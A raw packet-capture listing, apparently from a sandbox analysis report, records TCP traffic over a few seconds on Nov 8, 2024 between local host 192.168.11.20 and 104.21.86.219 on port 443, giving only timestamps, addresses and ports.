                                                                                                                                          Nov 8, 2024 11:27:43.859829903 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.859860897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.859913111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:43.860059977 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:43.860115051 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.102303028 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.102518082 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.102526903 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.102549076 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.102699995 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.102715015 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.102725029 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.102905989 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.103564978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.103796005 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.103799105 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.103818893 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.104021072 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.104430914 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.104700089 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.104717016 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.104914904 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.348207951 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.348309994 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.348426104 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.348480940 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.348505974 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.348701954 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.348844051 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.348895073 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.348927975 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.349473953 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.349590063 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.349670887 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.349725008 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.349895954 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.350346088 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.350455999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.350572109 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.350622892 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.350656033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.350656033 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.351388931 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.351475954 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.351624966 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.351675987 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.351707935 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.351867914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.600110054 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.600250006 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.600372076 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.600383997 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.600423098 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.600533962 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.600851059 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.600985050 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.601495028 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.601619959 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.601672888 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.601685047 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.601779938 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.601880074 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.602463007 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.602669001 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.602684021 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.602684021 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.602696896 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.603002071 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.603372097 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.603406906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.603605032 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.603615999 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.604108095 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.604301929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.604314089 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.604499102 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.847923040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.848001003 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.848105907 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.848123074 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.848247051 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.848331928 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.848423958 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.848598957 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.849189043 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.849442005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.849476099 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.849512100 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.849711895 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.850445986 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.850564003 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.850661993 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.850704908 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.850816965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.851226091 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.851331949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.851453066 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.851495981 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.851538897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.852133989 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.852230072 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.852404118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.852404118 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.852452040 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.852472067 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.853024960 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.853100061 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.853209019 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.853251934 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:44.853338957 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:44.853415012 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.091346025 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.091367960 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.091447115 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.091573000 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.091573000 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.091633081 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.091660976 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.091675043 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.091675043 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.091849089 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.093060970 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.093118906 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.093264103 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.093264103 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.093313932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.093313932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.093313932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.093344927 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.093539953 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.095077991 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.095133066 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.095268965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.095268965 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.095314980 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.095315933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.095344067 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.095381021 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.095537901 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.096676111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.096729994 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.096869946 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.096869946 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.096916914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.096916914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.096944094 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.096981049 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.097182035 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.097666979 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.097843885 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.097857952 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.097918034 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.097949982 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.098099947 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.331517935 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.331537962 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.331619024 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.331737995 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.331737995 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.331738949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.331738949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.331809044 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.331831932 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.332015038 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.333023071 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.333069086 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.333220005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.333220005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.333374023 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.333425045 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.333606005 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.334837914 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.334918022 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.335057020 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.335057974 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.335105896 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.335130930 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.335211992 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.335318089 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.336047888 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.336276054 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.336458921 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.336509943 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.337795019 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.337886095 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.338032007 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.338032007 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.338085890 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.338108063 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.339478970 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.339540005 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.339677095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.339677095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.339677095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.339735031 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.339777946 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.339777946 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.339777946 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.340465069 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.340626955 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.340699911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.340753078 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.340774059 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.340774059 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.340926886 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.344007969 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.575881004 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.575896978 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.576133013 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.576133013 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.576148987 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.576158047 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.576340914 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.576888084 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.577028990 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.577096939 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.577096939 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.577111006 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.577316046 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.578650951 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.578666925 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.578860044 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.578860044 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.578874111 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.578881979 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.578957081 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.580663919 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.580729008 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.580931902 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.580931902 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.580987930 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.581011057 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.581533909 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.581653118 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.581757069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.581757069 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.581813097 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.582005978 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.584191084 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.584259033 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.584430933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.584430933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.584430933 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.584494114 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.584512949 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.584717035 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.585891962 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.585947990 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.586122990 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.586122990 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.586182117 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.586215973 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.586388111 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.586658955 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.587645054 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.587696075 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.587812901 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.587857962 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.587857962 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.587919950 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.587956905 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.587956905 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.588090897 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.589878082 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.593076944 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.820571899 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.820780039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.820780039 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.820846081 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.820875883 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.829878092 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.829931974 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.830024958 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.830025911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.830071926 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.830161095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.830161095 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.831617117 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.831660986 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.831815004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.831815004 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.831845045 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.831924915 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.834039927 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.834089041 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.834247112 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.834248066 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.834301949 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.834379911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.834379911 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.835426092 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.835475922 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.835629940 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.835629940 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.835670948 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.835691929 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.835798025 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.836532116 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.836625099 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.836719036 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.836719036 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.836760044 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.836867094 CET49729443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:45.838304043 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.838366985 CET44349729104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:45.838484049 CET49729443192.168.11.20104.21.86.219
